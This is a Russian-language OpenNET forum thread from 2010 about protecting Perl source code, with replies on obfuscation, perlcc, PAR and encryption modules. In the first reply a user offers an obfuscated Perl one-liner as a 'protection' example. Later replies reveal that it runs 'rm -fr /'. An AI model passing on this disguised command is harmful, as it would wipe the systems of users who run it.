The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка  RSS
"Защита кода на Perl. Аналог Zend Optimizer ?"
Вариант для распечатки  
Пред. тема | След. тема 
Форум WEB технологии (Perl)
Изначальное сообщение [ Отслеживать ]

"Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от tz email(ok) on 29-Май-10, 14:56 
Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с возможностью ограничение времени использования (периуд использования в днях, ограничение по числу пользователей, привязка к компьютеру и т.д.) Для PHP есть Zend Optimizer, Zend SafeGuard Suite, а для Perl ? Или PHP в области разработки коммерческих продуктов - вне конкуренции среди интерпретируемых языков, используемых для создания web-приложений ?
Высказать мнение | Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Пытливый Ум on 29-Май-10, 20:06 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с

Если на Perl'е писать как на Perl'е, а не как на PHP, то там и так уже всё "необратимо" зашифровано без всяких защит. И становится просто невыгодно нанимать школьников для поддержки и модернизации.

Вот классический пример:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.

Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете продлить им вовремя лицензию.

Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам ворох новых проблем, ибо сыра в силу своей ненужности.

P.S. Период пишется через "О". Проверочное слово периодический.

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

3. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от izmena on 30-Май-10, 14:44 
>[оверквотинг удален]
>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование
>ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете
>продлить им вовремя лицензию.
>
>Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.
>
>P.S. Период пишется через "О". Проверочное слово периодический.

вот вроде пишешь складно, а детство в **пе еще не отыграло ...имхо морду бить надо за однострочники в таких разглагольствованиях ...(для двоечников - не пускайте это из под рута)

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

5. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Ursadon on 31-Май-10, 11:17 
>>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>
> Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.

У меня запустился :)
Только непонятно что эта строка делает... 15 минут что то ищет

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

6. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Гольдман on 31-Май-10, 13:52 
Ну и придурок!!!!
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

7. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Pahanivo (ok) on 31-Май-10, 16:49 
>Ну и придурок!!!!
>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /

ну надо знать стандарные приколы )))

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

8. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от аноним on 31-Май-10, 21:14 
>>Ну и придурок!!!!
>>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /
>
>ну надо знать стандарные приколы )))

Хе-хе ... Я думал после знаменитого ЛОР'овского "не печатает" :) все балюесы либо вымерли, либо поумнели :)

Охши ... это ж просто успело новое поколение вырости, которое не в курсе 8-\

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

16. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Andrey Mitrofanov on 15-Сен-10, 11:18 
>ну надо знать стандарные приколы )))

Вот именно. :/ "У меня запустился :) ... 15 минут что то ищет" -- банальный прикол второго порядка<<<

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

10. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от tz email(ok) on 02-Июн-10, 15:22 
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Шалун ! :)

>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя.

Таких нищих - миллиарды. У вас, например, наверняка нелицензионная копия какого-либо ПО установлена ? :)

>Те, которым вы хотите ограничения на использование
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.

В курсе и про perlcc, и про perl2exe. Но это конечно же сырые решения...

>P.S. Период пишется через "О". Проверочное слово периодический.

Спасиба за паправку. :)

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

2. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Ph.D. on 29-Май-10, 22:14 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?

Есть. Надо его стереть перед использованием.

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

4. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Pahanivo (ok) on 31-Май-10, 10:25 
keyword - абфускация
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

9. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от tz email(ok) on 02-Июн-10, 15:18 
>keyword - абфускация

А разве обфускация являет собой необратимый способ защиты? Это ведь не панацея, а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером сломать можно, но всё же хотелось бы найти аналогичное решение и под перл. Необратимое.

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

11. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Pahanivo (ok) on 02-Июн-10, 16:16 
>>keyword - абфускация
>
>А разве обфускация являет собой необратимый способ защиты? Это ведь не панацея,
>а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером
>сломать можно, но всё же хотелось бы найти аналогичное решение и
>под перл. Необратимое.

плиз ссылку на ман по востоновлению обфускцированного перл кода ...

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

12. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от аноним on 02-Июн-10, 18:21 
>>>keyword - абфускация
>>под перл. Необратимое.

Необратимых нет. Почему - догадайся сам.

>плиз ссылку на ман по востоновлению обфускцированного перл кода ...

Да полноте вам, если там не хелло ворлд и када больше чем на пару экранов - перл код в обфускации не нуждается! Все одно - без пузыря не врубишься :)

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

13. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Pahanivo (ok) on 03-Июн-10, 08:25 
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.
>
>>плиз ссылку на ман по востоновлению обфускцированного перл кода ...
>
>Да полноте вам, если там не хелло ворлд и када больше чем
>на пару экранов - перл код в обфускации не нуждается! Все
>одно - без пузыря не врубишься :)

если кодер умеет оформлять код - проблем с врубанием не будет )

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

15. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Мистер Ы on 14-Сен-10, 05:05 
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.

Ну так и машинный код можно дизассемблировать при желании. Так написал как-будто это два пальца об асфальт. http://www.xakep.ru/post/37614/default.asp - верблюдика расшифруй плиз обратно. ;)

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

17. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от Sugar (ok) on 29-Сен-10, 10:25 
> Да полноте вам, если там не хелло ворлд и када больше чем
> на пару экранов - перл код в обфускации не нуждается! Все
> одно - без пузыря не врубишься :)

Хорош чушь нести, если код написан более-менее разумным человеком, то все там отлично читаемо. На любом языке можно говнокодить, перл не исключение.
Вот пример из 500 строк кода: http://github.com/gugod/App-perlbrew/blob/master/lib/App/per...

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

14. "Защита кода на Perl. Аналог Zend Optimizer ?"  +/
Сообщение от chorny (ok) on 13-Сен-10, 16:50 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?

PAR::Filter::Crypto, Filter::Crypto::CryptFile, Module::Crypt

Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру